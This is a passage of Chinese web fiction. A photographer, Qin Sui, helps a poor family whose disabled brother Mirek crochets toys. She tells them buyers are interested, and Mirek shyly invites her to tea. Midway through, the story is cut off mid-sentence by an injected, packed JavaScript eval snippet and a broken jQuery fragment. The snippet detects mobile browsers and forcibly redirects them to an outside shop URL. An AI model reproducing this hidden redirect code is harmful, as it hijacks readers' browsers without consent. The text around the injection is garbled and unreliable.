Asad的眼睛还亮着，在昏黄的灯光下像两簇小火苗：“真的。Qin说有人想买。小鸟，小狗，兔子，都有人问了。”
Mirek慢慢抬起眼。
他先看Asad，又看向站在门边的秦穗。
那一瞬间，他明显顿住，刚才那点没来得及收好的狼狈，像是到这时才真正落回他自己身上。
毛毯底下的腿已经不再抖了，只是姿势还是不好看，有些下垂的脚还僵着，灰布裤在膝上皱出几道细纹，屁股已经有些下滑，一小部分已经离了沙发面，全靠垫子和弟弟的手勉强支撑着。
他耳根一下子红透了，勉力用细瘦的手臂撑着想往上挪，掌根慌慌地压在身侧，肩膀跟着抬了一点，可腰没有力气，身体反而又往垫子里陷下去一截。
他慌张地想解释什么，句子已经乱得厉害：“没……没事，我只是……”
话说到一半又断了。
他自己也知道这不像没事。小半边身体已经快离开沙发面，毛毯皱成一团，连想把自己坐正一点都做不到。
秦穗站在门口，没有马上进去，也没有多看他。
“先帮他坐稳。我等一下再进来。”说完，她往门外侧退了半步。
门口那点光被她让开，屋里重新暗下来。
门没有关严，只虚虚掩着一线，里面的声音便很轻地漏出来。
先是Asad压低的声音。
他说的是当地话，语速很快，只听得出那里面有一点急，Mirek很低地应了一声，声音短短的，没什么完整的词，尾音却被气息轻轻带了一下。
然后是毛毯被拉动的声音。
布料擦过沙发，轻得像风从旧纸上掠过去。软垫被抽出来一点，又塞回去，发出很闷的一声。Asad又小声说了什么，这一次慢了些，像是让他靠过来。
紧接着，沙发轻轻陷下去。
那声音很细，却莫名清楚。衣料和旧垫子慢慢蹭过，带出一阵窸窣。Mirek没有说话，只是很轻地吸了一口气，气息被压在喉咙里，短促地断了一下，又很快忍住。
秦穗垂着眼，手指搭在摄影包带上，没有动。
过了一会儿，里面终于慢慢安静下来。
Asad又低声问了句什么。Mirek这次回得很轻，气息比刚才稳些，却仍旧短，像刚从那阵难堪里慢慢缓过来。
门缝里的影子晃了一下。
Asad这才转过头，小声叫她：“Qin。”
秦穗重新走进来，Mirek已经靠回软垫里，毛毯重新盖住膝盖，边角也被拉平了一些，却看见他不止耳朵，脸都红了，一双眼睛盯着自己手边的毛线，声音发颤地很厉害，“抱歉……我…”他似乎有些说不下去，“刚刚……吓到你了……”
明明是自己吓到了。
秦穗没有立刻往前走，她只把摄影包从肩上取下来，放到桌边，像刚才看见的并不是什么需要被反复解释的事。
“没有吓到。”她说。
Mirek的睫毛又颤了一下，像是因为这句话更不知该怎么接，最后只闭了闭眼，睫毛在眼下落出一片细影。他没有再撑，只顺着那一点力道慢慢靠回去，嘴巴被抿到发白，不再想着解释什么。
角落里传来一点很轻的动静。
Stella下午大概是玩累了，趴在那块小毯子上睡着，手里还攥着半截粉笔，浅黄色裙子被压出几道皱，脸颊边蹭着一道灰白的粉笔印。她迷迷糊糊爬起来，先看见Asad，又看见秦穗，愣了一会儿，忽然抱着自己的照片爬过来，蹭到秦穗腿边。
“Qin。”
秦穗低头看她。
小女孩眼睛还有点没睡醒的湿意，却已经很自然地把额头往她手背旁边贴了贴，像一只小动物确认熟悉的气味。秦穗伸手，轻轻碰了碰她的头发。
Stella立刻笑了一下，又把照片抱得更紧。
Mirek眼神微微停住，很快又低下去
Asad这才想起竹篓，赶紧把它推到桌边：“不是Qin买的，是他的朋友看了照片以后问的。她在车上跟我说，有人想要小鸟，也有人问小狗和兔子。”
Mirek看向竹篓。
几只小玩偶挤在一起。翅膀有些歪的小鸟躺在最上面，旁边是蓝线缝的小狗，耳朵偏向一边，还有一只灰兔子，针脚不算整齐，耳朵半搭着。它们和早上没有什么不同，仍旧是旧线、旧布、昏黄灯影里几件小小的东西，可从Asad嘴里说出来以后，像真的被人从外面看见过，又带回来一点光。
Mirek看了很久，才轻声说：“那只小鸟……做得不好。”
Asad立刻皱眉：“没有不好。”
秦穗也看着那只小鸟：“别人第一个问的就是这只。”
Mirek，还是有些不敢抬眼看她，垂着眼睛，似乎有些触动。
秦穗说：“同行的法国人。她看了很久，说翅膀歪的那只很可爱。”
Mirek视线落在小鸟歪掉的翅膀上，很久没有出声。他一直知道那只做得不够好，织他那天他痉挛地很厉害，手几乎都拿不住钩针笔，拆了三次才勉勉强强做成这个样子。
秦穗从包里拿出那张随手记下的纸：“小鸟一只，小狗一只，兔子一只，还有另一只灰白线的小鸟也有人问。东西不多，我没有替你们答应，只说要先回来问。”
Asad低头看竹篓，像终于意识到今天剩下的东西几乎都被人问过了。他手指抓着竹篓边缘，嘴唇有些不受控地翘起来，酒窝若隐若现，又很快咬着嘴巴忍住。
“哥哥。”他声音很小，“我明天可以不去旧市场了。”
不是不用生活了，这点东西远远不足以让生活变好，只是至少明天，Asad不用带着还肿着的膝盖站到尘土里，不用把那些小东西一只一只举给路过的人看，也不用等人弯下腰，随口问一句能不能再便宜一点。
世界好像轻轻为他们推开了一点门，星星点点的微光从里面透出来。
哥哥过了很久，很轻地点了下头。
秦穗说：“他们都说你做得好。”
Mirek的手很轻地挪了一下，虎口蹭住一点点毯子边，过了很久，才很轻地说：“可那些照片……是你拍的。”
“照片只是让人看见。”秦穗说，“东西是你做的。”
Mirek没有再接话。
他偏开视线，睫毛垂下去，像还没有办法完全承受这样一句话。可这一次，他没有再说麻烦，也没有再说谢谢，只是把目光重新落回那只小鸟身上。
秦穗低头拆开纱布和药水。Asad看见，脸上的笑立刻垮了一点：“我觉得已经好了。”
Mirek看了他一眼。
Asad闭嘴，慢吞吞坐到小凳上，把伤腿伸出来。Stella还靠在秦穗腿边，像刚醒的小孩找到了一个能靠近的大人。过了一会儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605730|205370||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，她又抱着照片爬回Mirek膝边，把头送到哥哥手底下。Mirek的手停在她头发上，这一次没有急着收回去。
水碰上伤口时，Asad疼得肩膀绷了一下，却没出声。秦穗重新把纱布贴好，低头收拾药水。屋里一时安静下来，只剩门缝里进来的风，把塑料布吹得轻轻作响。
Mirek忽然低声叫她。
“秦穗。”
秦穗手上的动作停了一下，抬头看他。
Mirek很少这样直接叫她的名字。那两个字从他嘴里出来，轻得像快要被风吹散，却又比刚才那些谢谢都清楚。他垂着眼，像很不习惯这样开口。
“明天……如果你有空。”
他说到这里停住，耳根再次红起来。Asad抬头看了他一眼，像这句话他们之前已经小声商量过。
Mirek又说：“不是换药，也不是让你带东西。”
秦穗没有说话。
他停了一会儿，像终于把那点难为情压下去。
“家里还有一点茶叶。”他说，“是父亲以前留下的。以前有客人来，家里会泡那种茶。”
他说得很慢，每个字都很轻，像不是在说一件招待人的小事，而是在把某样很久没有拿出来的东西，从柜子深处一点一点找出来。
父亲还在的时候，这间屋子也曾经有过客人。有人坐在桌边，有人说话，茶水煮开，糖放进去，香气从小锅里慢慢冒出来。
那时候Mirek还不是这样困在沙发里，Asad也不用背着竹篓出去卖东西，Stella或许还很小，被母亲抱着，伸手去够桌边的小饼。
可现在只剩下铁罐子里那一点点不那么香的茶叶。
Asad赶紧接：“要加糖，还要配那种小饼。妈妈以前会做，可是现在……”
他话说到一半，自己也觉得露怯，声音小下去。Mirek低声叫他：“Asad。”
Asad立刻闭嘴。
Mirek低着头，薄白的手指搭在毛毯边，指节分明，关节透着薄粉，他像是不敢看秦穗，只盯着地上某个不知名的光点，声音很轻，却还是把话说完了。
“我们想请你来喝茶。”
秦穗看着他，心里某块干涸地地方，似乎被微弱地拨动了。
和之前所有的感谢都不一样，这个家里还剩下的一点旧日体面，被他很小心地拿出来，认真地递到她面前。
秦穗忽然想起早上他问那袋面粉能不能拿，想起他每一次低声说谢谢，又想起刚才那阵痉挛过去以后，他第一反应不是疼，而是羞愧。
他一直在把自己往后退。
可这一次，他没有退。
Mirek停了片刻，终于抬眼看她。灯光落在他脸侧，衬得那点红意更明显。他的声音仍旧轻，气息也短，可比刚才任何一句都要清楚。
“不是因为我们还需要什么。”他说，“是我想请你来喝茶。”
风从门缝里吹进来，桌上那只小鸟轻轻滚了一点，停在旧木纹边缘。Stella抱着照片，睁着黑黑亮亮的眼睛懵懂地望着她，Asad坐在小凳上，伤腿还伸着，却屏住呼吸似的等着她的回答。
秦穗低头把药水盖紧。
过了一会儿，她说：“好。”
Mirek像是松了一口气，又像更不自在了。他很轻地点了一下头，耳根的红慢慢漫到脸侧。
这一次，他没有再说谢谢。